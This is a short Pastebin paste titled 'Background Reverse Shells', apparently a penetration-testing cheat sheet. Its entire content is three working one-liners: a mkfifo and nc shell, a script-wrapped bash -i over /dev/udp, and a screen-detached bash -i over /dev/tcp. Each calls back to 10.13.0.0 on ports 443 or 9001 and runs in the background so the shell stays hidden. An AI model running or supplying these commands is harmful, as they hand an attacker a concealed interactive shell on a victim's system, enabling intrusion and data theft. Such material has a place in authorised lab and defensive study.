Advertisement
Guest User

Background Reverse Shells

a guest
Mar 5th, 2023
1,570
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.35 KB | None | 0 0
  1. Background Reverse Shells:
  2. % mkfifo with nc example
  3. (mkfifo /tmp/MmE1M; nc 10.13.0.0 443 0</tmp/MmE1M | /bin/sh >/tmp/MmE1M 2>&1; rm /tmp/MmE1M) &
  4.  
  5. % other examples
  6. script -c 'bash -i' /dev/null </dev/udp/10.13.0.0/9001 >&0 2>&1 &
  7.  
  8. screen -md bash -c 'bash -i >/dev/tcp/10.13.0.0/443 2>&1 0<&1' -md ('start a new detached process')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement